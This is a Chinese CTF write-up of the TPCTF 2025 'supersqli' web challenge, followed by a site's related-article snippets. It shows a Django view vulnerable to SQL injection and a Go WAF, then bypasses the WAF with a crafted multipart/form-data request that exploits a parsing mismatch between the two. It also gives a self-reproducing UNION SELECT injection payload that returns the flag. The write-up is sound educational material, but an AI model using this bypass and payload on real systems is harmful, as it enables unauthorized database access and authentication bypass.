ctf-web: 不统一的解析 + sql注入要求输入与输出相等 -- tpctf supersqli
# 从 django.shortcuts 模块导入 render 函数,用于渲染模板
from django.shortcuts import render
# 从 django.db 模块导入 connection 对象,用于数据库连接
from django.db import connection# 此模块用于创建视图函数
# 从 django.http 模块导入 HttpResponse 和 HttpRequest 类
from django.http import HttpResponse,HttpRequest
# 从当前应用的 models 模块导入 AdminUser 和 Blog 模型
from .models import AdminUser,Blog
# 导入 os 模块,用于与操作系统进行交互
import os# 定义一个名为 index 的视图函数,接收一个 HttpRequest 对象作为参数
def index(request:HttpRequest):# 返回一个 HttpResponse 对象,内容为 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 定义一个名为 flag 的视图函数,接收一个 HttpRequest 对象作为参数
def flag(request:HttpRequest):# 检查请求的方法是否不是 POSTif request.method != 'POST':# 如果不是 POST 请求,返回一个 HttpResponse 对象,内容为 'Welcome to TPCTF 2025'return HttpResponse('Welcome to TPCTF 2025')# 从 POST 请求中获取名为 'username' 的参数值username = request.POST.get('username')# 检查用户名是否不是 'admin'if username != 'admin':# 如果用户名不是 'admin',返回一个 HttpResponse 对象,内容为 'you are not admin.'return HttpResponse('you are not admin.')# 从 POST 请求中获取名为 'password' 的参数值password = request.POST.get('password')# 使用原始 SQL 查询从 blog_adminuser 表中筛选出用户名和密码匹配的用户users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))try:# 断言用户输入的密码与查询结果中的第一个用户的密码相同assert password == users[0].password# 如果断言成功,返回一个 HttpResponse 对象,内容为环境变量中 'FLAG' 的值return HttpResponse(os.environ.get('FLAG'))except:# 如果断言失败或出现异常,返回一个 HttpResponse 对象,内容为 'wrong password'return HttpResponse('wrong password')
服务器要求输入的密码与数据库返回内容相同,且服务器存在waf
if r.Method == http.MethodPost { ct := r.Header.Get("Content-Type") mediaType, _, err := mime.ParseMediaType(ct) if err != nil { log.Printf("解析 Content-Type 失败: %v", err) return true } if mediaType == "multipart/form-data" { if err := r.ParseMultipartForm(65535); err != nil { log.Printf("解析 POST 参数失败: %v", err) return true } } else { if err := r.ParseForm(); err != nil { log.Printf("解析 POST 参数失败: %v", err) return true } } for key, values := range r.PostForm { log.Printf("POST 参数 %s=%v", key, values) for _, value := range values { if sqlInjectionPattern.MatchString(value) { log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value) return true } if rcePattern.MatchString(value) { log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value) return true } if hotfixPattern.MatchString(value) { log.Printf("POST 参数 %s=%s", key, value) return true } } }
}
tips: 跨语言容易出现解析差异
multipart/form-data
multipart/form-data 是一种用于在 HTTP 请求中传输表单数据的编码格式,特别适用于同时上传文件和提交文本字段的场景。它的核心设计是通过分隔符(boundary)将请求体分割为多个独立的部分,每部分对应一个表单字段(如文本输入或文件)。
为什么需要它?
- 支持文件上传:传统的
application/x-www-form-urlencoded格式只能编码简单的键值对文本,而multipart/form-data可以高效处理二进制文件(如图片、视频)。 - 混合数据类型:允许在一个请求中同时传输文本和文件。
- 避免数据混乱:通过唯一的分隔符(
boundary)确保各部分数据不冲突。
格式结构
- HTTP 请求头 中需指定:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
boundary是一个随机生成的字符串,用于分隔不同部分。
-
请求体示例:
----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="username"Alice ----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: image/jpeg(这里是文件的二进制数据) ----WebKitFormBoundaryABC123--- 每个字段由
boundary分隔。 - 文本字段:
name指定字段名,内容直接跟在空行后。 - 文件字段:需指定
filename和Content-Type(如image/jpeg)。
- 每个字段由
tips: 有些时候multipart/form-data的键值可能被认为是post的键值
当我们发送
POST /flag/ HTTP/1.1
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 127.0.0.1:3592
Content-Length: 301
Content-Type: multipart/form-data; boundary=ba325d8a6c0000320059df30eab0bb5e--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="username"admin
--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="file"; filename="A5rZ.txt";name="
Content-Disposition: form-data; name="password";select
--ba325d8a6c0000320059df30eab0bb5e--
go 不会认为 password是一个参数, 但是django会认为他是一个参数
现在我们解决了waf,又如何使得输入与输出相等呢?
我们能找到这样的有效负载,我们来看看原理是什么
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ',char(34),char(39)),char(35),'1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ')--
当有效负载被拼接到后端,他看起来应该是这样的
blog_adminuser具有三列
SELECT * FROM blog_adminuser
WHERE username='admin' AND password='1'UNION SELECT 1,2,REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')
-- '
REPLACE(REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ')
也就是
out = '1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '.replace(chr(34),chr(39))
print(out)
out = out.replace(chr(35), """'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '""")
print(out)
1' UNION SELECT 1,2,REPLACE(REPLACE('#',CHAR(34),CHAR(39)),CHAR(35),'#')--
1' UNION SELECT 1,2,REPLACE(REPLACE(''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '',CHAR(34),CHAR(39)),CHAR(35),''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '')--
拓展 - Quine
Quine 程序是一种特殊的程序,其功能是输出自身的源代码,以下示例都会输出自身
s = 's = %r\nprint(s%%s)'
print(s % s)
s = '''s = \'\'\'%s\'\'\'\\nart = \'\'\'%s\'\'\'\\nprint(s %% (s.replace(\'\\\\n\', \'\\\\\\\\n\').replace(\'\\\'\', \'\\\\\\\'\'), art)'''
art = r'''____ _ / ___| _ _ _ __ ___ (_)_ __ __ _ \___ \| | | | '_ \ / _ \| | '_ \ / _` |___) | |_| | | | | (_) | | | | | (_| ||____/ \__,_|_| |_|\___/|_|_| |_|\__, ||___/
Self-Replicating Code (Quine) v1.0
'''
print(s % (s.replace('\n', '\\n').replace('\'', '\\\''), art))
参考
https://blog.0xfff.team/posts/tpctf_2025_writeup
相关文章:
ctf-web: 不统一的解析 + sql注入要求输入与输出相等 -- tpctf supersqli
# 从 django.shortcuts 模块导入 render 函数,用于渲染模板 from django.shortcuts import render # 从 django.db 模块导入 connection 对象,用于数据库连接 from django.db import connection# 此模块用于创建视图函数 # 从 django.http 模块导入 Http…...
基于Java与Go的下一代DDoS防御体系构建实战
引言:混合云时代的攻防对抗新格局 2024年某金融平台遭遇峰值2.3Tbps的IPv6混合攻击,传统WAF方案在新型AI驱动攻击面前全面失效。本文将以Java与Go为技术栈,揭示如何构建具备智能决策能力的防御系统。 一、攻击防御技术矩阵重构 1.1 混合攻击特征识别 攻击类型Java检测方案…...
使用FastExcel时的单个和批量插入的问题
在我们用excel表进行插入导出的时候,通常使用easyexcel或者FastExcel,而fastexcel是easy的升级版本,今天我们就对使用FastExcel时往数据库插入数据的业务场景做出一个详细的剖析 场景1 现在我们数据库有一张组织表,组织表的字段…...
交换技术综合实验
一、实验拓扑 二、实验要求 内网IP地址使用172.16.0.0/16分配。 SW1和SW2之间互为备份。 VRRP/STP/VLAN/Eth-trunk均使用。 所有PC通过DHCP获取IP地址。 ISP只能配置IP地址。 所有电脑可以正常访问ISP路由器。 三、实验步骤 基于172.16.0.0/16进行划分 172.16.2.0/24&…...
软件工程之软件开发模型(瀑布、迭代、敏捷、DevOps)
1. 瀑布模型(Waterfall Model) 定义与流程 瀑布模型是线性顺序的开发流程,包含需求分析、设计、编码、测试、维护等阶段,每个阶段完成后才能进入下一阶段,类似“瀑布流水”逐级推进。 核心特点 严格阶段划分&#…...
Display Serializer、Camera Deserializer(Camera Des)和SerDes 加解串应用
1. 概述:三者的核心定位 (1) SerDes(Serializer/Deserializer) 定义:通用高速数据传输技术,实现并行↔串行双向转换。角色:数据链路的“翻译官”,解决并行传输的带宽与距…...
Redis 常用数据结构及其对应的业务场景(总结)
1. String(字符串) 特点:最简单的键值对结构,可存储文本、数字或二进制数据(最大 512MB)。 适用场景: 缓存:存储用户信息、页面片段、商品详情等(如 SET user:1 "{…...
记录Jmeter 利用BeanShell 脚本解析JSON字符串
下载org.json包(文档说明) #下载地址 https://www.json.org/ # github 地址 https://github.com/stleary/JSON-java # api 文档说明 https://resources.arcgis.com/en/help/arcobjects-java/api/arcobjects/com/esri/arcgis/server/json/JSONObject.htmlBeanShell脚本 import…...
深入解析音频:格式、同步及封装容器
物理音频和数字音频 物理音频 定义:物理音频就是声音在自然界中的物理表现形式,本质上是一种机械波,通过空气或其他介质传播。例如,当我们说话、乐器演奏或物体碰撞时,都会产生振动,这些振动会引起周围介…...
RPCGC阅读
24年的MM 创新 现有点云压缩工作主要集中在保真度优化上。 而在实际应用中,压缩的目的是促进机器分析。例如,在自动驾驶中,有损压缩会显着丢失户外场景的详细信息。在三维重建中,压缩过程也会导致场景数据中语义信息(Contour)的…...
医疗CMS高效管理:简化更新维护流程
内容概要 医疗行业内容管理系统(CMS)的核心价值在于应对医疗信息管理的多维复杂性。面对诊疗指南的动态更新、科研数据的快速迭代以及多机构协作需求,传统管理模式往往面临效率瓶颈与合规风险。现代化医疗CMS通过构建结构化权限管理矩阵&…...
《Spring Cloud Eureka 高可用集群实战:从零构建高可靠性的微服务注册中心》
从零构建高可用 Eureka 集群 | Spring Cloud 微服务架构深度实践指南 本文核心内容基于《Spring Cloud 微服务架构开发》第1版整理,结合生产级实践经验优化 实验环境:IntelliJ IDEA 2024 | JDK 1.8| Spring Boot 2.1.7.RELEASE | Spring Cloud Greenwich…...
PyQt6实例_批量下载pdf工具_主线程启用线程池
目录 前置: 代码: 视频: 前置: 1 本系列将以 “PyQt6实例_批量下载pdf工具”开头,放在 【PyQt6实例】 专栏 2 本系列涉及到的PyQt6知识点: 线程池:QThreadPool,QRunnable; 信号与…...
DSP+AI综合应用案例1——三种波形识别(预告)
采用1kHz采样率,识别方波、正弦波、三角波三种波形,算法采用傅里叶变换与神经网络,识别结果如下: 可以达到1ms内实现检测,逐渐完善到CanMV K230 或MCU中,待续...
去噪算法大比拼
目录 效果图: 实现代码: 密集抖动 pip install pykalman 效果图: 实现代码: import numpy as np import cv2 import matplotlib.pyplot as plt from scipy.ndimage import gaussian_filter1d from scipy.signal import butter, filtfilt, savgol_filter from pykalma…...
浅拷贝或深拷贝js数组或对象的方法
在js中,直接通过赋值操作拷贝数组,会导致新旧数组互相影响。 这是因为数组、对象等数据属于引用类型(Reference Type)数据。对引用类型数据进行赋值操作时,实际上拷贝的是其内存地址的引用(即指向堆内存中对…...
CKS认证 | Day3 K8s容器运行环境安全加固
一、最小特权原则(POLP) 1)最小特权原则 (Principle of least privilege,POLP) : 是一种信息安全概念,即为用户提供执行其工作职责所需的最 小权限等级或许可。 最小特权原则被广泛认为是网络安全的最佳实…...
28_跨域
目录 promise promise的基本语法 async await try catch promise 静态方法 跨域 跨域的解决方案 1-cors 编辑 2-jsonp方案 3-代理服务器 promise promise 是一个es6新增的语法 承诺的意思 作用:是专门用来解决回调地狱!!!! promise的基本语法 // 基本语法:// Pr…...
Stable Diffusion太慢?国内Midjourney平替方案—商用合规部署
一、AI绘画商用核心痛点(为什么需要替代Stable Diffusion/Midjourney?) 1. 速度慢,高并发支持差 Stable Diffusion:单卡GPU生成1张图需3-10秒,并发超过10任务易崩溃Midjourney:排队制…...
综述速读|086.04.24.Retrieval-Augmented Generation for AI-Generated Content A Survey
论文题目:Retrieval-Augmented Generation for AI-Generated Content: A Survey 论文地址:https://arxiv.org/abs/2402.19473 bib引用: misc{zhao2024retrievalaugmentedgenerationaigeneratedcontent,title{Retrieval-Augmented Generation…...
Spring @EnableAutoConfiguration 注解执行过程详解
Spring EnableAutoConfiguration 注解执行过程详解 核心流程 触发自动配置:通过 EnableAutoConfiguration 注解开启自动配置。加载配置类:根据 META-INF/spring.factories 文件加载默认的自动配置类。条件判断:每个自动配置类通过 Condition…...
JavaScript中的Math对象和随机数
目录 一、常用数学方法 1. 数值处理 2. 极值与运算 3. 三角函数(参数为弧度) 4. 对数与指数 5. 常量 二、随机数生成 Math.random() 1. 基础范围控制 2. 整数随机数 三、实际应用场景 1. 随机颜色生成 2. 数组随机排序 3. 概率控制 四、注…...
lxd-dashboard 图形管理LXD/LXC
前言 LXD-WEBGUI是一个完全用AngularJS编写的Web应用程序,无需应用服务器、数据库或其他后端服务支持。只需要简单地托管静态HTML和JavaScript文件,就能立即投入使用。这个项目目前处于测试阶段,提供了直观的用户界面,帮助用户便捷地管理和控制LXD实例。 安装lxd-dashboa…...
python纯终端实现图片查看器(全彩)(windows)
很多人作为命令行爱好者,无法在终端内直接查看图片是无法忍受的, 那就写一个! 先直接上代码 import os import sys from PIL import Image import numpy as np import colorama import msvcrt # Windows专用# 初始化colorama colorama.ini…...
【动态规划篇】- 路径问题
62. 不同路径 题目链接: 62. 不同路径 题目解析: 状态表示 dp[i][j]表示:以[i][j]为终点时,一共有多少种路径。 状态转移方程 以[i][j]最近的几步来分析问题,要么从[i-1][j]位置向下走一步到达[i][j],要么从[i][j-1…...
《新凯来:半导体设备制造领域的“国家队”》
《新凯来:半导体设备制造领域的“国家队”》 一、SEMICON China 爆火出圈:31 款设备背后的 “深圳力量” 1.1 展会现象级热度 在 2025 年 SEMICON China 展会现场,新凯来展台成了整届展会当之无愧的 “顶流”,被来自全球各地的专…...
AI大模型最新发布[update@202503]
OpenAI GPT-4o:多模态,“o”代表Omni,即全能的意思,凸显了其多功能的特性。 多模态交互,GPT-4o可以接受文本、音频和图像的任意组合作为输入,并生成文本、音频和图像的任意组合输出。实时推理能力&#x…...
深入浅出 Embedding
1. 什么是 Embedding? Embedding(嵌入)是一种将高维数据映射到低维连续空间的技术,用于表达数据的语义关系。简单来说,它是一种向量化表示,将文本、图像、用户行为等信息转换为数值向量,使得相似的数据在向量空间中距离更近。 2. 如何理解 Embedding? 2.1 浅显易懂的…...
java项目之基于ssm的乡镇自来水收费系统(源码+文档)
项目简介 乡镇自来水收费系统实现了以下功能: 乡镇自来水收费系统在Eclipse环境中,使用Java语言进行编码,使用Mysql创建数据表保存本系统产生的数据。系统可以提供信息显示和相应服务,其管理员管理水表,审核用户更换…...
Java实战:实现用户的登录注册功能
系列文章目录 Java文件 I/O流的操作实战和高级UI组件和事件监听的综合 文章目录 系列文章目录前言一、大致流程思路分析:二、定义用户类:三、服务层的实现: 1.保护用户数据功能的实现2.登录操作的实现 四、实现用户的注册界面: 大…...
